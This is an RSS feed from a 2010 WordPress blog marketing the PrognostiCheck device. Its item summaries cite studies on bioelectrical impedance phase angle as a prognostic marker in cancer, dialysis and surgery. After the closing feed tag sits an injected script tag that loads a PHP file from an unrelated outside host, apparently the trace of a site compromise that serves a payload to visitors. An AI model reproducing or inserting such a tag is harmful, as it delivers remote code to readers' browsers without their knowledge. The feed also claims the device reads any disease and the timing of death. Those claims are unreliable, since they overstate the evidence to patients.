<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PrognostiCheck®</title>
	<atom:link href="http://ipgdx.com/PrognostiCheck/Blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://ipgdx.com/PrognostiCheck/Blog</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 03 Apr 2010 15:01:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Prognosis; it is a matter of life and death, How effective is that treatment?</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 14:13:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cancer Prognosis]]></category>
		<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[cancer treatment]]></category>
		<category><![CDATA[effectiveness of treatment]]></category>
		<category><![CDATA[end of life decisions]]></category>
		<category><![CDATA[If Sick How Sick]]></category>
		<category><![CDATA[Treatment and Prognosis]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=190</guid>
		<description><![CDATA[Imagine a technology that reports the presence-severity-progression of any disease, the effectiveness of any treatment and the timing of non-acute death (we can&#8217;t tell you about oncoming buses). Well PrognostiCheck is it; we measure the phase angle which is an illustration of the vitality of cell membranes. Disease begins and ends on a cellular level. [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Prognostic Role of Phase Angle in advanced Non-Small Cell Lung Cancer(NSCLC)</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/01/prognostic-role-of-phase-angle-in-advanced-non-small-cell-lung-cancernsclc/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/01/prognostic-role-of-phase-angle-in-advanced-non-small-cell-lung-cancernsclc/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 10:19:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cancer Prognosis]]></category>
		<category><![CDATA[Lung cancer prognosis]]></category>
		<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck®]]></category>
		<category><![CDATA[cancer diagnosis]]></category>
		<category><![CDATA[Burden of Disease]]></category>
		<category><![CDATA[effectiveness of treatment]]></category>
		<category><![CDATA[Non-Small Cell Lung Cancer]]></category>
		<category><![CDATA[Treatment and Prognosis]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=181</guid>
		<description><![CDATA[Non-small cell lung cancer (NSCLC) accounts for about 80% of all lung cancers. Malnutrition is a frequent manifestation in patients with advanced NSCLC and is a major contributor to morbidity and mortality. Malnutrition is characterized by changes in cellular membrane integrity and alterations in fluid balance. As a result, measurement of body composition is an [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/01/prognostic-role-of-phase-angle-in-advanced-non-small-cell-lung-cancernsclc/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Phase Angle as a Prognostic Factor for Post-Operative Complications</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-as-a-prognostic-factor-for-post-operative-complications/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-as-a-prognostic-factor-for-post-operative-complications/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 10:18:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck®]]></category>
		<category><![CDATA[Bioelectrical impedance Analysis]]></category>
		<category><![CDATA[phase angle values]]></category>
		<category><![CDATA[post-operative complications]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=174</guid>
		<description><![CDATA[Bioelectric Impedance Analysis (BIA), and its parameter, phase angle, have been described as a prognostic tool in several clinical situations, but they have never been studied in surgical population
Here is an abstract from the study conducted by M.Barbosa-Silva, A.Barros to assess the importance of nutritional variables and parameters from BIA as predictors of post-operative complications [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-as-a-prognostic-factor-for-post-operative-complications/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Bioelectrical Impedance Phase Angle Changes During Hydration and Prognosis in Advanced Cancer</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/01/2bioelectrical-impedance-phase-angle-changes-during-hydration-and-prognosis-in-advanced-cancer/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/01/2bioelectrical-impedance-phase-angle-changes-during-hydration-and-prognosis-in-advanced-cancer/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 10:29:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advanced Cancer]]></category>
		<category><![CDATA[Cancer Prognosis]]></category>
		<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck®]]></category>
		<category><![CDATA[Advanced Cancer Prognosis]]></category>
		<category><![CDATA[effectiveness of treatment]]></category>
		<category><![CDATA[Treatment and Prognosis]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=170</guid>
		<description><![CDATA[Here is an abstract from the study that was conducted to determine whether bioelectrical impedance (BIA) correlates before hydration or changes during hydration and determine if these changes were prognostically important. 
Fifty eligible patients underwent BIA measurements 3 consecutive days. Laboratory studies (electrolytes, creatinine, and hemoglobin) on day 1; weights and vital signs were recorded. [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/01/2bioelectrical-impedance-phase-angle-changes-during-hydration-and-prognosis-in-advanced-cancer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Phase Angle predicts survival in haemodialysis patients</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-predicts-survival-in-haemodialysis-patients/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-predicts-survival-in-haemodialysis-patients/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 10:24:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck(R)]]></category>
		<category><![CDATA[disease progression]]></category>
		<category><![CDATA[Disease severity]]></category>
		<category><![CDATA[effectiveness of treatment]]></category>
		<category><![CDATA[phase angle values]]></category>
		<category><![CDATA[survival in haemodialysis patients]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=164</guid>
		<description><![CDATA[Phase angle is clearly associated with prognosis and survival as a powerful independent variable.
The higher the value of phase angle generally the healthier the subject indicating the ratio of cells and water is balanced and that the ability of the plasma cell membrane to hold the electrical signal is good.
PrognostiCheck® device measures Phase Angle and [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/01/phase-angle-predicts-survival-in-haemodialysis-patients/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bioelectrical phase angle values in a clinical sample of ambulatory rehabilitation patients</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-phase-angle-values-in-a-clinical-sample-of-ambulatory-rehabilitation-patients/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-phase-angle-values-in-a-clinical-sample-of-ambulatory-rehabilitation-patients/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 11:06:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck(R)]]></category>
		<category><![CDATA[ambulatory rehabilitation patients]]></category>
		<category><![CDATA[BIA Analysis]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=159</guid>
		<description><![CDATA[Phase angle  is derived from the resistance(R) and reactance(Xc) measurements obtained from bioelectric impedance analysis (BIA) and is considered indicative of cellular health and membrane integrity.
PrognostiCheck® is a noninvasive measurement that uses a well-established vascular diagnostic technique to measure the values of resistance (R) and Reactance (Xc) and calculate phase angle . Phase angle [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-phase-angle-values-in-a-clinical-sample-of-ambulatory-rehabilitation-patients/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>